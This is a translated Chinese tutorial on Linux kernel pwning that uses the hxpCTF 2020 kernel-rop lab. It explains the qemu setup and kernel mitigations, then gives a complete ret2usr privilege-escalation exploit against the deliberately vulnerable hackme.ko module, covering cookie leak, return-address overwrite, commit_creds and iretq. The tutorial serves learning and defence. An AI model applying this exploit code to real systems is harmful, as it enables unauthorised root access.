Linux内核漏洞利用技术详解 Part 1

匿名者  1174天前

1.jpg

前言

在这个文章系列中,我们将为读者详细介绍Linux内核漏洞利用方面的基础知识:从环境搭建到一些流行的Linux内核缓解措施,以及相应的利用技术。

早在2年前刚开始玩CTF和pwning的时候,每当听到别人说起内核漏洞利用,都感觉它是一个高深莫测的话题,我曾多次试着去接触它,但总是不知道如何下手,因为那时我对内核和操作系统缺乏足够的了解。几周前,在对计算机科学尤其是操作系统进一步探索之后,我决定再次冲击内核pwning技术,并且,我打算从最基础的技术开始入手。我知道,对于我这样的pwner来说,过了这么久才开始补课,的确已经很晚了,但正如人们常说的那样,迟到总比不来好。事实证明,这个主题并没有我想象中的那么难(但肯定也不简单,请记住,这里介绍的只是最基础的知识),只是比一般的用户空间漏洞利用所需的环境和知识要更上一个台阶。因此,这就要求pwner在进入内核漏洞利用领域之前,最好已经掌握了用户空间漏洞利用方面的知识。

在学习过程中,我是借助于hxpCTF 2020大赛中一个名为kernel-rop的挑战提供的环境来进行练手的。请记住,这里只是把它作为练习环境,而不是提供相应的攻略(当然,上一篇文章中的环境配置可能和挑战一样,所以,也可以姑且称之为攻略)。我之所以选择这个挑战,是因为:

  1. 配置相当标准,很容易进行相应的修改,以满足自己的练习需求。
  2. 内核模块的漏洞,虽然非常繁琐,但难度适中。
  3. 内核的版本相当新(当然,这是相对于写这篇文章的时候而言的)。

对我来说,这个系列文章的作用既是一个供将来回顾之用的笔记,也是一个供将来重用的漏洞利用模板;同时,如果能对初学Linux内核漏洞利用的渗透测试人员带来一点点帮助的话,我将非常高兴。

好了,下面开始演示Linux内核pwn环境的搭建过程,以及最基本的漏洞利用技术。

搭建环境

简介

对于Linux内核pwn挑战来说,我们的任务是利用一个在启动时安装到内核中的易受攻击的自定义内核模块。在大多数情况下,这个模块会和其他文件一起提供,并使用qemu作为Linux系统的模拟器。但是在极少数的情况下,会为我们提供一个VMWare或者VirtualBox虚拟机映像,或者根本不提供仿真环境,但是据我所知,这种情况是相当罕见的,所以,本文只介绍最常见的情况,即使用qemu作为模拟器的情况。

特别是在kernel-rop的挑战中,虽然提供的文件很多,但只有下面的文件对qemu的设置非常有用:

  •    vmlinuz:压缩后的Linux内核,有时也叫bzImage,我们可以把它解压到实际的内核ELF文件中,即vmlinux。
  •    initramfs.cpio.gz:用cpio和gzip压缩的Linux文件系统,/bin、/etc等目录都存储在这个文件中,另外,易受攻击的内核模块也可能包含在这个文件系统中。对于其他的挑战,这个文件可能会采取其他的压缩方案。
  •    run.sh:包含qemu运行命令的shell脚本,我们可以在这里修改qemu和Linux的引导配置。

接下来,我们将深入介绍这些文件,以及如何处理它们。

内核

至于Linux内核,通常冠以vmlinuz或bzImage的名字,是vmlinux内核映像的压缩版本。关于压缩方案,有多种选择,如gzip、bzip2、lzma等。这里我使用了一个名为extract-image.sh的脚本来提取内核的ELF文件:

$ ./extract-image.sh ./vmlinuz > vmlinux 

之所以提取内核映像,是为了寻找其内部的ROPGadget。如果您熟悉用户空间的pwning技术,那么肯定早就知道什么是ROP了;同时,在内核态中,并没有太大的区别(我们将在后面的文章中看到)。我个人更喜欢借助于ROPgadget来完成这项工作:

$ ROPgadget --binary ./vmlinux > gadgets.txt 

请记住,与简单的用户空间程序不同,内核映像是非常大的。因此,为了找出所有的gadget,ROPgadget需要花费很长的时间,所以明智的做法是在pwning过程一开始就下手寻找gadget。此外,将输出结果保存到文件中也是明智的做法,省得重复运行ROPgadget来寻找不同的gadget。

文件系统

同样,这也是一个压缩文件,可以使用下面的脚本decompress.sh来解压:

mkdir initramfs

cd initramfs

cp ../initramfs.cpio.gz .

gunzip ./initramfs.cpio.gz

cpio -idm < ./initramfs.cpio

rm initramfs.cpio

运行脚本后,将生成目录initramfs,它看起来像Linux机器上文件系统的根目录。我们还会发现,易受攻击的内核模块hackme.ko也包含在这个根目录中,我们可以把它复制到其他地方,供稍后进行分析。

我们解压缩这个文件的目的,不仅仅是为了得到易受攻击的模块,同时,也是为了根据我们的需要修改这个文件系统中的某些东西。首先,我们可以看一下/etc目录,因为引导后运行的大多数init脚本都存储在这里。特别是,我们需要在某个文件(通常是rcS或inittab)中查找以下行,并对其进行相应的修改:

setuidgid 1000 /bin/sh

# Modify it into the following

setuidgid 0 /bin/sh

第一行命令的用途是:在启动后生成一个UID为1000的non-root shell。将UID修改为0后,将在启动时拥有一个rootshell。您可能会问:为什么要这样做?的确,这似乎很矛盾,因为我们的目标是利用内核模块中的安全漏洞来获得root权限,而不是修改文件系统(当然,我们无法修改该挑战远程服务器上的文件系统)。这里的最终目的,只是为了简化漏洞利用过程:在开发漏洞利用代码的时候,有些文件中包含了对我们非常有用的信息,但它们需要root权限才能读取,例如:

  •    /proc/kallsyms包含了所有加载到内核的符号的地址。
  •    /sys/module/core/sections/.text包含了内核的.text区段的地址,这也是它的基地址(在这个挑战中,即使没有提供/sys目录,仍然可以从/proc/kallsyms中获取基地址)。

提示:运行漏洞利用代码的时候,记得把这个值设置回1000,避免在漏洞利用过程中出现假阳性(您可能会认为通过利用漏洞获得了一个root shell,其实不然)。

其次,我们需要对文件系统进行解压,以便后面将我们的漏洞利用程序放入其中。进行相应的修改后,我用下面的脚本compress.sh将其重新压缩为给定格式:

gcc -o exploit -static $1

mv ./exploit ./initramfs

cd initramfs

find . -print0 \

| cpio --null -ov --format=newc \

| gzip -9 > initramfs.cpio.gz

mv ./initramfs.cpio.gz ../

其中,前2行用于编译漏洞利用代码,并将其存入文件系统。

qemu运行脚本

最初,提供给我们的run.sh脚本的内容如下所示:

qemu-system-x86_64 \

    -m 128M \

    -cpukvm64,+smep,+smap \

    -kernelvmlinuz \

    -initrdinitramfs.cpio.gz \

    -hdbflag.txt \

    -snapshot \

    -nographic \

    -monitor/dev/null \

    -no-reboot \

    -append"console=ttyS0 kaslr kpti=1 quiet panic=1"

下面是一些值得注意的命令选项:

  •    -m:指定内存大小,当您无法引导仿真器,请首先尝试增加内存大小。
  •    -cpu:指定CPU模型,在这里,我们可以通过添加+ smep和+ smap来指定SMEP和SMAP防御机制(稍后将对此进行详细介绍)。
  •    -kernel:指定压缩的内核映像。
  •    -initrd:指定压缩文件系统。
  •    -append:指定其他引导选项,我们可以在此启用/禁用防御机制。
  •     所有其他选项,都可以在QEMU文档中找到。

注意:该挑战使用-hdb将flag.txt放入/dev/sda,而不是将flag.txt作为系统中的普通文件。这也许是为了防止pwner使用一些龌龊的CTF技巧,或者只是为了使该挑战更易于部署。

在这里要做的第一件事,就是在其中添加-s选项。此选项使我们可以从主机远程调试模拟器的内核。我们需要做的,就是像平常一样启动仿真器,然后在主机中运行如下所示的命令:

$ gdb vmlinux

(gdb) target remote localhost:1234

然后,我们就可以按常规方式来调试系统的内核代码了,就像把gdb附加到一个普通的用户空间进程上一样。

小贴士:在调试远程内核时,您可能需要禁用peda、pwndbg或GEF,因为有时它们的行为可能很奇怪。为此,只需使用gdb --nx vmlinux命令即可。

其次,我们可以根据自己的需要修改相应的防御机制。当然,在CTF比赛中面对真正的挑战时,这是行不通的;但对于练习来说,适当放宽条件是完全可以的。

Linux内核的防御机制

就像用户空间程序使用的ASLR、栈金丝雀、PIE等防御机制一样,内核也有自己的一套防御机制。以下是我在学习内核pwn时涉及到的一些流行的、著名的Linux内核防御机制:

  •     内核堆栈cookie(或金丝雀):这与用户空间的堆栈金丝雀机制完全一样。在编译时,内核就会启用该功能,并且无法禁用。
  •     内核地址空间布局随机化(KASLR):也跟用户空间的ASLR一样,在每次系统启动时,该机制会将加载内核的基地址随机化。对于该防御机制,可以通过在-append选项下添加kaslrnokaslr来启用/禁用。
  •     Supervisor模式执行保护(Supervisor mode execution protectionSMEP):当进程处于内核模式时,这个特性会将页表中的所有用户区页面标记为不可执行。在内核中,可以通过设置控制寄存器CR4的第20位来启用这个功能。在启动时,可以通过在-cpu选项下添加+smep来启用,并通过在-append中加入nosmep来禁用。
  •     Supervisor模式访问保护(Supervisor Mode Access PreventionSMAP):作为SMEP的补充,当进程处于内核模式时,该机制将页表中所有的用户空间内存页标记为不可访问,这意味着它们既不允许读取,也不允许写入。在内核中,可以通过设置控制寄存器CR4的第21位来启用这个功能。在启动过程时,可以通过在-cpu选项下添加+smap来启用该机制,通过在-append选项下添加nosmap来禁用该机制。
  •     内核页表隔离(Kernel page-table isolationKPTI):当这个安全机制被激活时,内核会将用户空间和内核空间的页表完全隔离,而不是仅使用一组同时包含用户空间和内核空间地址的页表。当然,还是有一组页表和以前一样,同时包含了内核空间和用户空间的地址,但它只在系统运行在内核模式下时使用。在用户模式中使用的第二组页表包含用户空间的副本和最小的内核空间地址集。它可以通过在-append选项下添加kpti=1nopti来启用/禁用。

我的学习方法是,刚开始只启用最少的防御机制:只启用堆栈cookie,然后逐步添加其他机制,以便学习不同的技术,哪些情况下可以使用。接下来,让我们先分析一下易受攻击的hackme.ko模块本身。

分析内核模块

实际上,这个内核模块的功能非常简单。首先,在hackme_init()中,它注册了一个名为hackme的设备,其提供的操作如下:hackme_read、hackme_write、hackme_open和hackme_release。这意味着,我们可以通过打开/dev/hackme与这个模块进行交互,并对其进行读写操作。

在该设备上进行读写操作时,会在内核中调用hackme_read()或hackme_write()函数,它们的代码如下所示(这里使用的是IDA pro,并省略了一些不相关的部分):

ssize_t __fastcall hackme_write(file *f, const char*data, size_t size, loff_t *off)

{  

    //...

    int tmp[32];

    //...

    if ( _size> 0x1000 )

    {

       _warn_printk("Buffer overflow detected (%d < %lu)!\n",4096LL, _size);

        BUG();

    }

   _check_object_size(hackme_buf, _size, 0LL);

    if (copy_from_user(hackme_buf, data, v5) )

        return-14LL;

    _memcpy(tmp,hackme_buf);

    //...

}

 

ssize_t __fastcall hackme_read(file *f, char *data,size_t size, loff_t *off)

{  

    //...

    int tmp[32];

    //...

   _memcpy(hackme_buf, tmp);

    if ( _size> 0x1000 )

    {

       _warn_printk("Buffer overflow detected (%d < %lu)!\n",4096LL, _size);

        BUG();

    }

   _check_object_size(hackme_buf, _size, 1LL);

    v6 =copy_to_user(data, hackme_buf, _size) == 0;

    //...

}

这两个函数的漏洞非常明显:它们都对长度为0x80字节的堆栈缓冲区进行读/写操作,但只有当长度大于0x1000时,才会发出缓冲区溢出警报。利用这个漏洞,我们可以随心所欲地对内核栈进行读/写操作。

现在,让我们看看如何利用上述原语来取得root权限;当然,我们不妨从具有最少的防御机制的情形下开始下手,比如只启用堆栈Cookie。

最简单的漏洞利用技术:ret2usr

概念简介

我们刚开始学习用户空间pwn的时候,对于练手的堆栈缓冲区溢出挑战题,通常会将ASLR禁用,NX位也不会设置。在这种情况下,我们可以使用一种叫做ret2shellcode的技术,将shellcode放到堆栈的某个地方,然后通过调试,找出其地址,并用找到的地址覆盖当前函数的返回地址。

Return-to-user技术(即ret2usr)的思想,与上面的方法非常相似。只不过,这里不会把shellcode放到堆栈上,因为我们可以完全控制用户空间中内容,所以,直接把我们希望程序执行流程要跳转到的代码段放到用户空间中,之后,只需将内核中被调用的函数的返回地址覆盖该地址即可。因为这里易受攻击的函数是一个内核函数,所以我们的代码(尽管是在用户空间)是在内核模式下执行的。通过这种方式,我们就成功实现了代码的任意执行。

为了让这个技术发挥作用,我们需要删除+smep、+smap、kpti=1、kaslr并添加nopti、nokaslr来去除qemu运行脚本中的大部分的安全防御机制。

由于这是本系列介绍的第一个技术,因此,我们将逐步解释整个漏洞利用过程。

打开设备

为了与该模块进行交互,我们得先打开它。实际上,打开设备的方法与打开一个普通文件没有多大区别,具体如下所示:

int global_fd;

 

void open_dev(){

    global_fd =open("/dev/hackme", O_RDWR);

    if (global_fd< 0){

        puts("[!]Failed to open device");

        exit(-1);

    } else {

       puts("[*] Opened device");

    }

}

完成上述操作后,我们就可以对global_fd进行读写操作了。

泄漏堆栈Cookie

由于我们具有任意的堆栈读取原语,所以泄漏堆栈cookie并不是什么难事。我们知道,堆栈上的临时缓冲区本身长度为0x80字节,堆栈cookie紧随其后。因此,如果我们将数据读到一个unsigned long数组(其中每个元素占用8个字节)中的话,那么,该Cookie在数组中的偏移量正好是16:

unsigned long cookie;

 

void leak(void){

    unsigned n =20;

    unsignedlong leak[n];

    ssize_t r = read(global_fd, leak,sizeof(leak));

    cookie =leak[16];

 

   printf("[*] Leaked %zd bytes\n", r);

   printf("[*] Cookie: %lx\n", cookie);

}

覆盖返回地址

这里的情况和上面一样,我们将创建一个unsignedlong数组,然后在索引16处用我们泄漏的cookie覆盖此处的cookie。这里需要注意的一点是,与用户空间程序不同的是,这个内核函数实际上从堆栈中弹出了3个寄存器,分别是rbx、r12、rbp,而非仅仅弹出了rbp(在函数的反汇编代码中可以清楚地看到这一点)。因此,我们要在cookie后面放3个虚设值。然后,下一个值将是我们希望程序返回的返回地址;该程序也就是将在用户空间上创建的,用于获得root权限的函数,以,我将其命名为castalate_privs:

void overflow(void){

    unsigned n =50;

    unsignedlong payload[n];

    unsigned off= 16;

   payload[off++] = cookie;

   payload[off++] = 0x0; // rbx

   payload[off++] = 0x0; // r12

   payload[off++] = 0x0; // rbp

   payload[off++] = (unsigned long)escalate_privs; // ret

 

   puts("[*] Prepared payload");

    ssize_t w =write(global_fd, payload, sizeof(payload));

 

   puts("[!] Should never be reached");

}

接下来,也是最后要处理的事情是,我们到底应该在该函数中写什么来获得root权限。

获取root权限

再次提醒一下,我们利用内核漏洞的目的,不是通过system("/bin/sh")或者execve("/bin/sh", NULL, NULL)来弹出一个shell,而是取得系统的root权限,然后弹出一个root shell。通常情况下,最常见的方法是利用2个函数:即commit_creds()和prepare_kernel_cred(),因这两个函数本身就位于内核空间代码中。我们需要做的,就是像下面这样来调用这2个函数:

commit_creds(prepare_kernel_cred(0)) 

由于KASLR被禁用了,也就是说,这些函数所在的地址在每次启动时都是不变的。因此,我们只需利用下面所示的shell命令来读取/proc/kallsyms文件,就能轻松获得这些地址:

cat /proc/kallsyms | grep commit_creds

-> ffffffff814c6410 T commit_creds

cat /proc/kallsyms | grep prepare_kernel_cred

-> ffffffff814c67f0 T prepare_kernel_cred

下面是用于取得root权限的代码(在这里,我们直接用一个函数的返回值作为另一个函数的参数来连续调用这2个函数,该方法借鉴自另一篇攻略;当然,您也可以是使用其他方法):

void escalate_privs(void){

    __asm__(

       ".intel_syntax noprefix;"

       "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred

       "xor rdi, rdi;"

        "call rax; mov rdi, rax;"

        "movabs rax, 0xffffffff814c6410;"//commit_creds

        "call rax;"

        ...

       ".att_syntax;"

    );

}

提示:这里其实就是一种使用intel语法在C代码中编写内联汇编代码的简洁方式。

回到用户空间

在当前的漏洞利用状态下,如果您仅返回到用户空间的一段代码来弹出一个shell的话,确实有点让人失望。这是因为,在运行上面的代码后,我们仍运行在内核模式下。但是,为了打开root shell,我们必须返回到用户模式。

通常情况下,如果内核正常运行,它将使用下列指令之一(在x86_64中)返回到用户空间:sysretq或iretq。对于大多数人来说,通常会选择iretq指令,因为据我所知,sysretq指令的用法比较复杂。iretq指令只需要用5个用户空间寄存器的值按以下顺序设置堆栈即可:RIP|CS|RFLAGS|SP|SS。

这样的话,该进程就会记录下这些寄存器的两组不同值,一组用于用户模式,另一组用于内核模式。因此,在运行内核模式下的代码后,这些寄存器必须恢复为用户模式对应的值。对于RIP,我们可以直接将其设置为弹出shell程序的函数的地址。但是,对于其他寄存器,如果仅将它们设置为随机值,则该进程可能无法按预期继续执行。为了解决这个问题,人们想到了一种非常巧妙的方法:在进入内核模式之前保存这些寄存器的状态,然后在获得root特权后,再重新加载它们。保存其状态的函数如下所示:

void save_state(){

    __asm__(

       ".intel_syntax noprefix;"

       "mov user_cs, cs;"

       "mov user_ss, ss;"

       "mov user_sp, rsp;"

       "pushf;"

       "pop user_rflags;"

       ".att_syntax;"

    );

   puts("[*] Saved state");

}

还有一点,对于x86_64系统来说,在调用iretq之前还必须调用一条名为swapgs的指令。这条指令的用途,也是为了在内核模式和用户模式之间交换GS寄存器的值。有了这些信息,我们就可以结束获得root权限的代码,然后返回用户模式:

unsigned long user_rip = (unsigned long)get_shell;

void escalate_privs(void){

    __asm__(

       ".intel_syntax noprefix;"

       "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred

       "xor rdi, rdi;"

        "call rax; mov rdi, rax;"

        "movabs rax, 0xffffffff814c6410;"//commit_creds

        "call rax;"

       "swapgs;"

       "mov r15, user_ss;"

       "push r15;"

       "mov r15, user_sp;"

       "push r15;"

       "mov r15, user_rflags;"

       "push r15;"

       "mov r15, user_cs;"

        "push r15;"

       "mov r15, user_rip;"

       "push r15;"

       "iretq;"

       ".att_syntax;"

    );

}

现在,只要按照正确的顺序调用前面精心构造的那些代码片段,就可以打开一个root shell了:

int main() {

   save_state();

    open_dev();

    leak();

   overflow(); 

    puts("[!]Should never be reached");

    return 0;

}

小结

在这篇文章中,我们为读者详细介绍了为Linux内核pwn挑战搭建环境的过程,以及内核漏洞利用中最简单的一种技术:ret2usr。

在下一篇文章中,我将通过添加更多的防御机制来逐渐提高利用难度,以及绕过这些防御机制的方法。

附录

提取内核映像的脚本extract-image.sh的下载地址:https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/extract-image.sh

解压缩文件系统的脚本decompress.sh的下载地址:https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/decompress.sh

编译exploit并压缩文件系统的脚本compress.sh的下载地址:https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/compress.sh

完整的ret2usr漏洞利用代码ret2usr.c的下载地址:https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/ret2usr.c


本文由secM整理并翻译,不代表白帽汇任何观点和立场
来源:https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/

最新评论

昵称
邮箱
提交评论